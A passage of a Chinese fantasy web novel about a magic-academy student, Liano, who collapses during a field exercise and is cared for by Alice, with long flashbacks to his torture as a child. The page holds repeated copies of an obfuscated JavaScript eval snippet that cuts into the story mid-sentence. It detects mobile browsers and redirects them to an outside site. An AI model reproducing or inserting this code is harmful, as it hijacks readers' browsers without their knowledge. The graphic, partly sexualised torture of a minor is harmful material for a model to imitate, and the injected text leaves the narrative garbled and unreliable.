爱丽丝一听到这个提问,顿时眼睛都亮了。 “非常完美!” 她立刻开始细数她为明天所准备的装备,“厚实的外衣,饮水的容器,还有火柴、毛毯、坩埚、盐和糖……” “……?” 伊莎贝拉刚开始还在相当认同地点头,后来却越听越迷糊。 怎么连坩埚和调料都冒出来了……她真的不是去野炊的吗? 事实上,明天即将开始的是秋季的特殊课程野外探索。 在春季的理论研讨和夏季的自制魔法之后,学徒们终于迎来了真正的实战环节。 在学院划定的范围内,他们需要靠自己的知识和魔力进行最基本的生存,同时完成所领取的任务。 任务并不困难,但综合运用魔力应对可能的突发状况则是一个挑战,不论是拥有哪一种魔法属性的学徒,都需要在此过程中找到属于自己的解决问题的办法。 “伊莎贝拉果然选择了狩猎任务吗?” “当然。”她的话语里藏着来自罗斯戴尔领地的隐隐自豪感,“所以我准备开始后直接从山道登上高处。你是探索任务吗?准备先去哪里?” “嗯,元素生灵的探索任务。我大概会先去……” 同时拥有四个元素的属性,其实去探索任意一种元素生灵都符合任务要求,但爱丽丝还是认真地思索了片刻给出回答。 “我大概会先去湖边吧。” * 咬牙忍过铺天盖地的晕眩,利亚诺喘了口气,继续强行迈动沉重的双腿。 身体虚浮得厉害,几乎是在极限的边缘支撑。 满身的伤口虽然用冰晶草的药剂压制住了魔药的效果,却依然迟迟不愿意愈合,每一次与衣料的轻微剐蹭都引起他无法克制的颤抖。 他熬着这些继续迈步。 课业的进度远低于他的预期。 元素的认可暂且不谈,昨夜看时,吊坠凭证中间代表课程学业部分的细沙只被填满大半。 他已经尽可能地在时间表中塞入最多的课程量,但哪怕是不眠不休,他也不可能同时出现在两节同一时间进行的课程上。 狠心给自己压上了太多的课程,繁重的课业让他几乎好几夜都没合眼。 但没事,这样反倒更好,因为他没有任何一次睡眠不会坠入充斥着黑暗和痛苦的噩梦。 虽然在他清醒时,那些噩梦依旧在身后穷追不舍…… 冷汗已经浸透衣料,利亚诺浑浑噩噩地向着某个方向前进,脑中却仍在不停地计算。 不行……还远远不够…… 还要再快一点……否则就要来不及了…… 靠近湖面,他停下早已疲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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那样美丽的、仿佛奉献了全部虔诚的魔法,可是爱丽丝看的出来,利亚诺指尖的颤抖比之前的所有时候都要多…… 有一段时间,湖边的水元素沉默着没有给出任何回应,他却仍在颤抖中无言地坚持着。 爱丽丝担忧地抿紧了嘴唇,克制着躁动的心跳,等到湖面终于泛起点点光亮时,她几乎想要欢呼雀跃。 可是刚准备放下心,眼前那个身影却突然往下一坠—— “利亚诺!” 爱丽丝再也忍不住飞奔而去,赶在他彻底失去意识倒向地面之前搂住了他。 她知道利亚诺也许并不安好,因为不论是否与她接近,特里迪克和格罗姆康特家族都有太多的理由和手段折磨他。 但是当她真的重新靠近他,真的将他搂在怀里,爱丽丝才发现—— 他真的已经要崩溃了。 “不要……不要……” 利亚诺单薄的躯体在她怀里无自觉地颤抖,苍白到毫无血色的嘴唇间溢出破碎的呓语。 他在昏迷中露出痛苦的神色,好像陷入了久远的、泥沼般的回忆。 17. 唤起他的回忆 “我没有……说谎……呃!” 利亚诺的声音在痛苦里发颤。 尚未发育成熟的青涩躯体紧贴着寒冬里冰冷的砖墙。 “闭嘴!站好了!手抬高!” 回应他的是男人的振声怒吼。 他被这个名义上是他父亲的男人要求背靠着着墙站立,承受暴戾的怒火。 因为他说他感受到了魔法。 “呃!” 冷硬的火钳抽打在他的侧腰,那个前些天就已被醉酒的男人掐出大片青紫的地方。 细嫩的皮肤上渐渐显出红痕,甚至渗出细小的血珠,然后整个腰腹又在下一次抽打中克制不住地颤抖。 任何瑟缩都会换来更加狠厉的惩罚,利亚诺早就在这些年里学会了沉默地忍耐。 但是只有今天,他真的不想退让。 “我没有……呜!!” 可是对方并不给他说话的机会。 冰冷的铁棍毫不留情地捣进他并拢的双膝之间的缝隙,利亚诺受不住地浑身颤抖,下意识弓起腰想要护住伤处。 但是铁棍骤然抽出,又是在没有丝毫偏移的相同的地方狠狠一戳,利亚诺猛地一颤明白了对方的警告。 他死死咬着牙,逼着自己在痛苦里展开发抖的身体,将后背和高举的双臂都贴上冰冷的墙面,体会着腿间逐渐增长的苦楚的侵蚀。 好疼…… 钝痛一阵一阵地碾过,他的额头已经是一片冷汗。 “呵,魔法,大冬天出去捡柴就捡到魔法了?异想天开!我看你是一点苦都受不了,幻想着去过贵族的好日子了是吧!你以为怎样,啊?有了魔法就不用去捡柴了?就不用挨打了?” 谩骂伴随着疼痛落在他身上,一次比一次更狠。 “你看我怎么治你!” “呃!!” 不,不是,他不会弄错。 利亚诺在痛楚里支撑着一丝清明。 今天经过溪流时,他分明感受到了什么。 尚未冻结的溪水在冰天雪地中汩汩流淌,仿佛有什么不可描述的存在正灵动地跳跃,闪出星星点点的隐约微光。 利亚诺顿时被吸引得出神,在刺骨的寒冷中呆呆地站定望着那个方向。 背上木柴的重量、肩上麻绳的勒痕、还有手脚在冰冷的雪地中被冻出的疼痛,他一瞬间把这些需要皱眉忍耐的痛苦都忘了,只是愣愣地看着那些他从未见到过的存在。 然后他的身体有些微微的发热,就好像在和什么共鸣,就好像有什么神秘的力量开始缓慢地积蓄,就好像他也被什么存在同时看见了。 他不会弄错。 “……我没有……我没有说谎……” 于是利亚诺咬紧牙关,抬起瞳孔收缩成一条细线的灰色眼睛,紧盯着面前的男人,一瞬间甚至震住了他。 但这彻底激怒了对方。 开什么玩笑!他怎么可能被这个毛头小子震住! 他早就忍他很久了,沉默的疏离的面孔,恶心的猫一样的灰色瞳孔,怎么打骂都咬着牙一声不吭的性子,要不是他给他吃喝,他怎么可能活到现在! 还想得出用魔法这种把戏来糊弄他…… 他今天势必要让他彻底服软! “我看你能嘴硬到什么时候!” “呃啊!!” 利亚诺被粗暴地拎起来压上墙边的木桌,尖锐的桌角狠狠戳在腹部,让他一瞬间眼前发黑无法呼吸,还没等他喘过气来,身后就响起什么东西挥舞着的气流声,然后他的头脑突然一片空白—— “啊——!!!” 撕裂般的疼痛落在身后毫无防备的娇嫩之处,一下又一下几乎没有间隔地席卷过来,比他所捱过的每一次毒打都更甚。 不、不要…… 利亚诺用脱力的身体拼命挣扎,却逃脱不了成年男性的掌控,抵抗或者不抵抗,都只有让他在脆弱处捱得更狠。 “呃啊!别……!呜!!” 青涩的身体再也承受不了这样的痛苦,他不受控制地痛呼,破碎的哀求却每每被剧烈的疼痛打断,转为毫无尊严的哭喊。无边的苦楚里,他连喘息的时间都没有…… 疼,太疼了……别打了,放过他,放过他……他要熬不住了…… 无力的双手胡乱抓挠着桌面,凌乱的泪水又将那些痕迹浸湿,却无法换来哪怕一秒的怜惜。 时间被拉得无比漫长,利亚诺崩溃了一次又一次。 * “给我反省好了再出来!” 满是伤痕的躯体被扔向柴垛,在杂乱木柴枝桠的刺激下猛地一颤,又伴着散落的木枝一起滚落下来。 利亚诺微张的嘴唇似是要发出一声痛呼,却只有无声地颤抖。 他已经痛得发不出声音了。 仓库的门被砰一声狠狠砸上,男人用铁链将其捆上,然后毫不在意地走远,等待着利亚诺的是漫长而寒冷的冬夜。 利亚诺在满身的伤痛中艰难地喘息,浑身都冰冷到麻木,只有每一次的呼吸才能带来一些微弱的热气。 他不是第一次在冬天被关在阴冷的仓库,对此甚至称得上熟练,虽然没有办法彻底缓解寒冷带来的煎熬,可只要能忍着伤痛钻进草垛里,就勉强还能撑得过去。 但是今天,他实在没力气了。 “呜……” 利亚诺努力想要蜷缩起来保持体温,虚脱的身体却不听使唤,任何一丝挪动都直逼出他的呜咽。 太疼了,他真的一点也动不了了,寒冷的冬夜却不会给予他哪怕一点同情。 他的身体在阴冷的地面上不住地发抖,从身体各处侵袭的寒意快要将他的血液冻结。但是全身的每一处伤口又好像有火在灼烧,从伤口直烧到内脏,烧到腹部某个触碰不到的位置。 利亚诺知道自己在发烧,这在捱了毒打后并不少见,在本就寒冷的冬夜更是如此。 可是这次的高热仿佛要烧干他体内的每一滴水分,烧得他不得安宁,于是难以忍耐的干渴折磨着他,焦灼的渴求让他连昏死过去都是奢望。 他虚弱地睁开眼睛,漫无目的地望向前方一无所有的黑暗。 如果真的有魔法的话,能不能帮帮他…… 他真的好渴……只要……只要一口水就好…… 已经习惯了无人回应,利亚诺的眼神逐渐涣散,却突然听见—— 嘀嗒。 他轻颤了一下,随后屏住呼吸,用一点点亮起的眼眸死死盯着那个方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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利亚诺浑身紧绷,心里一片冰凉。 一声粗鲁的响动,男人猛然推开房门闯进室内。 他盯着利亚诺面上露出厌恶的神情,但居然没有立刻动手继续在他身上施加谩骂和毒打。 利亚诺不敢放松警惕,咬牙忍着浑身的痛苦,坐起身来蜷缩在墙角。 他用手攥着胸口早已单薄破烂的衣料挡住胸腹的伤口,双腿也并拢着蜷曲起来挡住另一些。 他会继续吗……他还受得了吗…… 即便仍硬撑着用灰色的眼睛盯着男人,防备的姿态和克制不住的颤抖也轻易暴露了利亚诺内心无法压下的恐惧和崩溃。 男人见状,颇为满意地笑了一声,从身后迎出另一个陌生的身影。 “就是他,昨天说自己突然会了魔法,被我狠狠打了一顿都不肯松口呢!” 他谄媚地巴结道。 “格拉什先生,您给看看,这家伙值多少钱?” 利亚诺浑身发冷。 18. 抱住晕倒的他 格拉什不喜欢这个新来的赔钱货。 单属性的水元素,贫瘠的魔力量,还偏偏咬着牙非要学习魔法。 他尤其讨厌他的眼神。 那双不祥的灰色眼睛,不论捱过多少打骂,都仍旧坚持着什么似的盯着他。 所以他下了死手去折腾他。 利亚诺死死忍耐着。 手臂、手腕、手指甚至每一个指节,全都被拴上重物,却仍要坚持着抬起,保持在手势魔法所要求的某一个姿势上,很久很久。 酸楚在每一寸肌肉翻涌而起,又聚集起来绞过每一根神经,再被他艰难地吞下。 他不会被告知需要忍耐多久,但只要一声口令,他就要变换下一个姿势,不能有任何僵硬和犹疑,哪怕手指已经酸楚到动弹不得,哪怕动作的变换会为他叠上更加强烈的苦楚。 任何一点犹豫都会换来踢打和鞭笞,就落在已经承受着不间断折磨的手上。 不,不止如此,任何一个动作只要有一丝颤抖,他就会立刻遭致惩罚。 可他又怎么可能不颤抖。 汗水将衣料一遍遍浸透,他像一锅被不断熬煮的魔药,浓稠滚烫,从深处泛着痛苦的气泡,又被无情地搅动,任他如何在极限处崩溃也不停歇。 即便这样,他仍要坚持。 每次站在格拉什的门前,利亚诺都能感受到身体下意识地发抖,却仍然用手掐着自己咬着牙走进去。 他知道格拉什对待自己的态度。 在这里,他没有任何依靠,也没有任何利益可以奉献,有的只是平庸的魔法天赋,所以他不过是一个可以被随意折磨的出气的玩物。 但他没有别的地方可去,更没有其他方式接触魔法。 所以他逼着自己去熬过那些练习,任凭冷汗流进眼睛里,再和痛苦的泪水一同涌出。 理论知识的学习只是看上去温和。 他只需要坐在桌椅上,抄写一部又一部厚重的文献。 可只有利亚诺自己知道其中的煎熬。 椅子很高,踩不到地,他只有用捱过罚的臀腿紧贴着椅面承受全身的重量,再用酸软发颤的腰腹稳住身体的重心。 每一根手指都早已被消耗到极限,手心也被抽打得红肿不堪胀痛难忍,但仍要紧握羽毛笔落下清晰流畅的字迹,不能错漏、不能歪斜、不能颤抖、不能有汗水或泪水滴落。 但凡有任何一点偏差,或者只是不合格拉什的心意,惩罚就会毫无预警地落下。 不知道落在哪里,前胸、后背、腰腿、还是手心脚心,他只有屏住呼吸去捱。 等到终于被允许离开,利亚诺臀腿的伤处就需要从椅面的边缘狠狠剐蹭而过,逼得他双腿瘫软,蜷缩着跪倒在地。 还有身体的练习。 肢体的训练更多的被当作击垮他最后心理防线的手段,他被要求保持在任何难熬的姿势,承受叫人崩溃的肌肉的酸楚和随时袭来的无理由的责打。 或者格拉什会亲自下手,将他的小腹或后腰死死压在地面上,手擒住他的两个膝盖向两侧狠狠掰开。 不知道撕裂的痛苦到哪里为止,也不知道漫长的折磨何时结束,他熬不住痛呼,鞭子就会细细铺开在大片脆弱的皮肤上。 然后格拉什又会踢他、踩他,用鞋尖在他每一个疲劳到再也受不住的弱点处旋转着研磨。 这一切和手势魔法的训练同时发生,或先后发生,或者在某些日子,他获得的根本不是任何训练,而是单方面的虐待。 总之他不会好过。 他没有任何一天是好过的。 “这就熬不住了,啊?” “还说为了学习魔法什么苦都能吃,笑话!” “贱胚子连个最简单的语言魔法都使不出来,就算学会手势魔法又能有什么出息!” “你是哑了吗!张嘴接着背!” “呃……!” 利亚诺从被疼痛逼得混沌的意识里挤出最后一丝清明,“新历……276年、呃啊!” “大点声!” “新历276年……大魔法师里亚德多斯将四元素与物质的四种形态对应……同时验证了四元素间的相互转化关系……呜……” 太多的知识和疼痛一起被强行塞进他的脑海里,利亚诺没有哪一个瞬间不是颤抖的。 但格拉什不会允许他彻底崩溃。 他被丢进一个魔法阵。 利亚诺后来知道,那是格拉什设计的计划用来培养魔法雇佣兵的法阵,而他是他的第一个实验品。 破溃的伤口粗暴地愈合,每一寸酸痛僵硬的肌肉都被强行伸展拉开,逼出他的呜咽。 “呃啊……别、慢点……呜……” 这太漫长,又太难熬了。 酸楚直扎进脑海,利亚诺涣散的双眼溢出生理性的泪水。 不出一会儿,他就已经没有痛呼的力气,只是无声地颤抖着,毫无尊严地蜷缩在地面上。 没有时间留给他喘息,一天的折磨结束,他要为格拉什捡柴、烧火、打扫、做饭,就像为那个男人做的一样,然后是短暂的睡眠,他不得不从中挤出时间背下更多晦涩的文献,紧接着,又是另一天将他逼至极限的折磨。 没关系的,利亚诺哄骗自己。 他正在学习魔法,那个他用尽所有力气捱过狠厉的毒打也渴望学习到的魔法。 所以他忍得了,无论多累、多疼,都没关系。 因为…… 魔法已经是唯一的意义。 * “喂,格拉什!领主发话要一个水元素,要快!” 粗鲁的拍击之下,木门骤然大开,利亚诺狠狠颤抖了一下,蜷紧了狼狈地倒在地面的、毫无遮蔽的、伤痕累累的躯体。 那是隔壁专门负责传话的伙计,提供各处买卖魔法使用者的信息。 “哼,算你小子走运!” 格拉什闻言喘了口粗气,丢掉手里刚刚逼出了无数呜咽的沾了血的器具。 嗅到有利可图的商人立刻转变了策略,哪怕上一秒他正想着把这个累赘折磨致死。 他拎起利亚诺扔进法阵,丢去勉强可以蔽体的衣料,兴奋地舔了舔嘴唇。 如果能解决了领主的燃眉之急,还有什么不好搞定的,要是能顺便搞到钱那是更好…… “呃……” 每次粗暴的治愈都让利亚诺快要承受不住,但是今天,强力的法阵让他熬到几乎崩溃。 他嘶哑的痛呼里听到自己的命运,他会被献给格罗姆康特领主一族,作为给他们提供水元素魔力的家仆。 没事的,没事的…… 只要能继续学习魔法……只要能…… ……好疼…… *< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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恐怖的刑罚,非人的折磨,伴随着威胁的话语而不断撕扯着他的焦躁…… “呃……” 别、别再继续了……好疼…… 头脑尖锐的疼痛绞干了最后一丝体力,利亚诺脱力的身体再也坚持不住,摇晃着就要倒下。 他习惯性地咬紧牙关想要忍痛,却坠落在一个温暖而柔软的怀抱里。 那个怀抱迎着他卸下了倒下的力道,轻轻将他抱稳了。 嗅觉似乎还在坚持工作,他闻到一点点蜂蜜香甜的味道。还有触觉,他感觉到爱丽丝的手似乎就要碰上他的后背,这让他开始不安地发抖。 “呜……” 别碰好不好,别碰那些伤口,真的太疼了,他真的要受不了了…… 最后一点知觉让他下意识地颤抖和呜咽,即使那动作和声音微弱到只有他自己感受得到。 但是爱丽丝好像懂了,她很轻很轻地揉上他的肩膀,用这具透支的身体唯一能接受的方式落下温柔的触感,像是安慰,又像是轻哄。 利亚诺没再痛。 19. 与他体会魔法的快乐 再次醒来的时候,天色已经很暗了。 利亚诺感觉到嘴里有甜甜的味道,他轻轻抿了一下,是蜂蜜柠檬糖。 温暖厚实的毛毯盖在他身上,浑身都是暖和而酥软的,让他一动都不想动。 那些不肯愈合的伤口还在隐隐作痛,但是眼下,他的身体没再发冷和发抖了,也没有那些尖锐的剧痛来折磨。 他半阖上眼睛,体会着久违的安宁。 他已经很久没有这么安稳地睡过了。 并不是一开始就睡得安稳,他仍记得那些黑暗的记忆屡次想要侵袭过来将他攫取。 但是总有一双温和的手不时轻轻贴上他的额头或脸颊,或是在他的肩背轻揉轻拍,就好像要驱散那些追着他不放的噩梦一样。 于是,他长久以来第一次睡得这么放松。 利亚诺这才发现,原来他一直在苦苦等待着这样温柔的安抚。 身边不远的地方是一个燃起的火堆,有一个身影正蹲在火堆旁兴致勃勃地研究着什么。 利亚诺稍微醒了醒神,慢慢支起身体,却看见了有些难以解释的景象。 一口小小的坩埚被架在火焰上方,咕嘟咕嘟地散发着某种不像寻常食物、却也绝非魔药的香气。 ……在野外探索的时候煮粥吗? ……是在野炊? 他不自觉地陷入呆愣。 习惯性地回头去察看利亚诺的状态时,爱丽丝对上了那双愣怔的灰色眼睛,刚睡醒一般的懵懂的眼神让她忍不住想要轻笑。 而且他的表情看上去比此前柔和得多了,好像不再被痛苦和噩梦一刻不停地折磨,这让她终于放下心来。 “是豆粉茎和月见穗一起煮的粥。”爱丽丝解释道,“你有上过那门课吗?应该是叫……” 她的声音和从前在图书馆小声讨论的时候没有任何差别,可是那在利亚诺的记忆里仿佛是很久之前的事了,“对了!药食同源——魔法药材的日常烹煮!” 利亚诺懵懵地思索了片刻,好像才终于完全理解自己身在何处。 火堆燃在一棵粗壮的古树旁,树下被布置成休息的角落,而面前那片广阔的湖水正在夜色下泛着一点波澜,融入温馨的夜色。 他就是在这个地方沉沉地睡了一觉,在她的照料下温暖地安眠。 明明是他决绝地想要将她推远、毫无道理地向她发怒,却也是他一次又一次被她拯救,贪婪地渴望着她的安抚。 利亚诺用朦胧的、含着一点点水光的眼眸望着眼前人的身影,想要开口说些什么,却只有嘴唇轻轻颤抖。 但是爱丽丝好像全都明白,她只是带着笑意,用温柔的目光看着他。 胸口有些发烫,利亚诺轻轻挪开了视线,无措地盯着火光边缘的一个小型法阵。 奇怪的是,法阵已经准备好,却并没有被注入魔力点亮。 “啊,其实……” 爱丽丝发现了他的疑惑,眨了眨眼向周围看去。 跟随着她的目光,利亚诺忽然发现四周太过于安静了,只有柴火在燃烧下噼啪作响,没有其他任何生物的痕迹。 “其实我们好像进入了秘境来着。” 爱丽丝的语气平静里带着点好奇和雀跃,好像早已准备好在秘境里做些什么奇妙的探索。 “但是没看到什么需要战斗的存在呢,好像也没发现需要解开的谜题……” 可是利亚诺的身体却开始发冷。 寒意从脊背攀上来,若有若无地折磨着重新紧绷起来的神经。 他知道的,他是不可能……不可能被放过的…… 手指微微一动,他在毛毯下碰到了某种冰冷的玻璃瓶状的东西,视线一扫,在阴影处又是一个。 利亚诺闭上眼颤抖地喘了一口气。 这是他怎么也无法走出的秘境。 一瓶一瓶的魔药忽然出现又忽然消失,不断向他暗示着什么,下一次仍以相同的方式出现,继续无言的暗示和逼迫。 他几乎可以肯定,他需要喝下魔药才能破解这个秘境,但是…… 他忘不掉每一瓶专为用在他身上而制作的魔药会带来怎样的痛苦,每一瓶,因为每一瓶都让他在那个阴冷的地牢里熬得要发疯。 捱过太多煎熬的躯体已经开始在恐惧里发抖,精神上的重压激起的胃痛让他想要呕吐,利亚诺沉默地咬牙忍下。 即使这样……即使这样也不可以让她来承担…… “你怎么了,利亚诺?还是不舒服吗?” “……没什么。” “你想喝点粥吗?暖一暖会不会好一点?” “……不、不用。” 这绝对不对劲吧…… 爱丽丝担忧地关注着利亚诺的状态。 明明原本已经稍微放松了一些,现在却抱紧双臂蜷缩着坐在树下,好像四周有什么需要他警惕戒备的东西……他是不是在发抖? 说起来,她还从未与利亚诺聊过秘境的话题,上次和莫妮卡也一起进入秘境后,她好像有点理解了伊莎贝拉所说的秘境与人生抉择相关。 但是现在这个秘境到底…… 爱丽丝试着去打量周围究竟有什么属于秘境的特殊存在。 咔哒。 “……!” 一瓶魔药突然出现在两人的视线之中,在火光的映照下透过玻璃瓶身散发着危险的红光。 爱丽丝还没反应过来,就看见利亚诺强行驱动虚弱的身体抢过了魔药,拔下瓶塞就要—— 她的心脏猛然跳了一下,瞳孔骤然收缩。 不行,绝对不可以,利亚诺的表情…… 那是他咬牙承受痛苦的表情! “——!” “呃……!” 一阵混乱的响动,然后是天旋地转,利亚诺虚弱的身体被毫无悬念地压制在地上。 温暖的气息洒在他的脸庞,他勉强睁开眼,除了那双定定看着他的琥珀色眼眸之外再也看不见其他。 利亚诺感觉到,爱丽丝有点生气了。 之前他躲着她、拒绝她、甚至毫无道理地质问她的时候,她都从来没有生气过,但是现在,她好像有点生气了。 可是利亚诺现在也暂时无法思考,他满脑子都是刚刚看到的景象。 爱丽丝将他手中的魔药夺过来扔得很远,砸在湖边的碎石上,就这样砸碎了。 可怖的魔药终于显示出秘境产物的本来面目,没有纠缠地乖乖消散了。 利亚诺在晕眩里只觉得这荒唐到令人想要发笑。 原来那是可以砸碎的吗…… 他是怎么了,是饿了太久所以脑袋都转不动了吗? 是啊,他真的……真的好累,真的再也没有力气了…… 他忽然好想尝尝那些奇怪的药材做的粥,不知道她还会愿意分一些给他吗…… 然后,能不能再……再陪他睡一会儿,只要一小会儿就好了…… 秘境渐渐向四周消散,树叶的沙沙作响,秋日的鸟鸣虫鸣,全都重新回到耳畔。 魔力的波动掠过湖面时,激起星星点点的光亮,引起了两人的注意。 他们都愣了一下,然后同时转过头向湖面看去。 “……是涅瑞!” 爱丽丝的眼睛顿时亮了,刚刚的一点点情绪立刻被抛到云外,惊喜的目光完全遮掩不住。 那是探索任务中提到的水元素生灵,它们借助水元素的力量诞生,是只有在水元素极为充沛的地方才会出现的伴生物…… 总之就是超级难得一见的存在! 刚想起身飞奔而去,爱丽丝突然想起什么,猛然回过头来,假模假样地皱着眉绷着脸,上上下下将利亚诺打量了个遍,确认他无碍后,才再也忍不住兴奋地跑向湖面。 点点光斑感受到什么东西的接近,被吓到似的霎时远离。 爱丽丝反应过来,赶紧撤回脚步。 因为是水元素生灵,所以需要用水元素来吸引它们才可以。 她在湖边站定了,伸出一只手细细轻语,让纯净的水元素汇聚在手心。 身边果然亮起的星星点点的光亮,就像被谷粒吸引的小鸟,或者更像是被花蜜吸引的萤火虫,在她的周围欢快地明灭。 爱丽丝丝毫不敢在这时大声说话,只是眨了眨眼睛回头看向利亚诺,表达着无声的催促。 利亚诺却依然呆愣着。 刚刚因压制住他而包裹了周身的温暖气息好像还未全部散去,现在眼前又是这样神奇而梦幻的景象…… 他出神地望了片刻,才想起他也需要完成的探索任务,于是慢慢起身走过去,学着爱丽丝的样子在手心聚集起一点点水元素。 别太多,比她再少一些就够了。 利亚诺怀着隐秘的心情施 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17107120|195516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 展出一点点微弱的水元素魔法,所以当那些滞涩的隐痛如约降临的时候,他居然觉得自己没有忍得像往常那样辛苦。 可就是那一点点水元素,让他也被涅瑞们亮起的光斑所包围,两人的身边顿时变成一片星海。 利亚诺愣怔地抬头望向爱丽丝的眼眸,在其中看见点点星光。 * “很累的话,靠在我肩上也可以的喔~” 看到利亚诺局促地撇开视线,爱丽丝在心里嘻嘻地笑。 离开秘境后,利亚诺忽然变得坦诚多了,愿意将虚弱的身体轻轻倚靠在她身上,愿意慢慢喝掉温热的药草粥,愿意向她承认自己的疲惫,就像一只尝遍了颠沛流离终于体会到温暖和安全的小猫。 他应该确实是很累了吧。 她不知道整整一个学期他是怎样在格罗姆康特的威压之下逼迫自己,但光是她今天亲眼见到的就已经足够辛苦了。 身体消耗到极限甚至晕倒过去,刚刚醒来就是秘境的考验,然后又是元素生灵的探索…… 爱丽丝知道他在使用魔法时常常会有些不舒服的,而且,从他的态度和行为,她不得不隐隐地感知到了秘境的暗指。 他到底是忍过了多少……爱丽丝感受到一点点无力的酸涩。 她没再捉弄利亚诺,而是用厚实的毯子将两人妥帖地围起来,然后并肩靠在树下,安静地看着面前的火堆燃烧。 暖烘烘的热度隐隐传来,利亚诺微不可察地舒了一口气。 身体仍有些晕眩无力,但是胃里是暖暖的,让他感到很舒服,还有胸口那些酸酸涨涨的感受…… 纯粹而简单的魔法的快乐好像就要满溢出来一样填满他的一整颗心。 从一瞬间的兴奋和雀跃,到长久留下的喜悦和平静,这样接近最初对魔法的向往的情感他已经太久没有体会过了。 他们的身边已经布好法阵,那个爱丽丝在夏季学期的自制魔法中坚持要创造的“偷偷野营法阵”,在注入的魔力耗尽之前,他们不会被任何人发现。 但是利亚诺知道,他心中的宁静不是因为这个。 好像只要在她身边,他就始终能感受到一种温暖和安宁。 可是他真的……可以待在这里吗? “利亚诺。” 爱丽丝忽然开口,因带着犹豫而问得轻声,却在这片寂静中显得格外明显。 “……你身上是不是还带着伤?” 感受到身边人忽如其来的紧绷,她就什么都明白了。 爱丽丝想在心里叹气。 她觉得自己原本是很难发现这些细节的,因为她总是迷迷糊糊,又立刻会被有趣的事情吸引走。 但是他的伤痛真的太过于明显了。 而她又太心疼他,连带着他此时的僵硬和回避都一起心疼。 不告诉她也没关系的,不去解释也没关系的,就允许自己放松一小会儿,别再逃走了吧…… 爱丽丝细细簌簌地在毛毯里动了动手臂,轻轻握住利亚诺的手腕,感受到他颤抖了一下。 利亚诺几乎不敢呼吸。 他有太多理应向她解释的,他的回避、他的疏离、他的噩梦和伤痛,但是那些苦楚一片连着一片,全都深深扎在这副躯体的每一个伤口上,扎进他破碎不堪的心灵。 若要连根拔起,只会给他留下满身狼狈和鲜血淋漓,他仅剩的尊严不希望她看见那样的丑陋。 所以他开不了口。 但是,这样的他,还有资格接受她的温暖吗? 他不愿意挣脱开她的手,只能静静地等待审判的降临。 “利亚诺,我很担心你,所以我们在野外探索结束之前一起行动好不好?” 只是这样。 爱丽丝无法体会到是怎样的恐慌在侵袭着利亚诺,只是轻声地、坦诚地表达自己的担心。 所以,她也无法体会到那些他心上的重压是如何因为她柔和的话语而慢慢消散。 利亚诺知道自己其实应该拒绝的。 但是他不愿意,他清楚地意识到自己不愿意拒绝,不是因为这是她的请求,而是因为这是他自己的渴望。 他实在太想……在她的身边再多停留一会儿,哪怕只有一点点时间。 “……好。” 他轻声开口。 爱丽丝笑眯眯地望着他,又一次将他的手捂得暖暖的。 20. 带他回家 “爱丽丝,什么事这么开心?”伊莎贝拉随口一问。 “嗯?”爱丽丝心情很好地歪了歪头,“嘻嘻,又被你看出来啦?” 伊莎贝拉简直要叹气。 一整个秋季学期,无论听到多么有意思的课程、学到多么有趣的魔法,爱丽丝表面的快乐背后总是带着一丝丝低落,伊莎贝拉全都看在眼里。 可是就结课仪式前的野外探索那几天功夫,她突然就变得像见到阳光重新灿烂的向日葵一样,伊莎贝拉想象不出任何别的原因。 “知道啦,是和那个孤僻的优等生关系又变好了吧?”她叹息着说。 爱丽丝吃惊地睁大双眼,“你怎么知道……” “你可真是太好懂了。” 伊莎贝拉揉着她的头,自己心里其实也松了一口气。 只不过,对于爱丽丝来说,他好像……比自己想象的还要重要一些。 爱丽丝知道的。 现在她所能给予利亚诺的,也只不过是虚浮的安慰而已,并不能在实质上消除他的痛苦。 她抿着嘴唇担忧地看着那个身影,他在结课仪式的礼堂中勉强站立着,就站在格罗姆康特的特里迪克身后。 所以他脸色苍白,不时滴落冷汗,并且在轻轻发抖。 他好像发现了爱丽丝的视线,轻轻偏过头回以一个柔和的表情,似乎在表示他没事。 爱丽丝感觉到胸口闷闷的。 她原本以为这样就够了。 能够给他一些安慰,让他至少在自己身边是放松的,这样就够了。 那些他说不出口的痛苦的缘由、不愿显露的狼狈,如果他不愿意的话,她就当不知道就好了。 可是现在……她还希望多做点什么。 捆绑着利亚诺的那些,与格罗姆康特的魔法契约,在魔法学院学习的担保……难道就不能再想想办法吗? 爱丽丝收回视线,轻轻眨了眨酸胀的眼睛。 * “放手!” “呃……不、不可能……” 利亚诺紧紧攥着就要被抢走的挂坠凭证,狼狈地蜷缩在地面上,承受着单方面的围攻和凌虐。 浑身都是不断叠加的踢踹的钝痛,伤在折磨了太久的旧伤上,每一下都让他熬不住闷哼。 本应去完成精细的施法动作的双手此刻正被狠狠地踩碾,挫伤一层又一层叠加在每一个指节,又在脆弱处以恐怖的重量继续碾轧,逼出他实在受不住的呜咽。 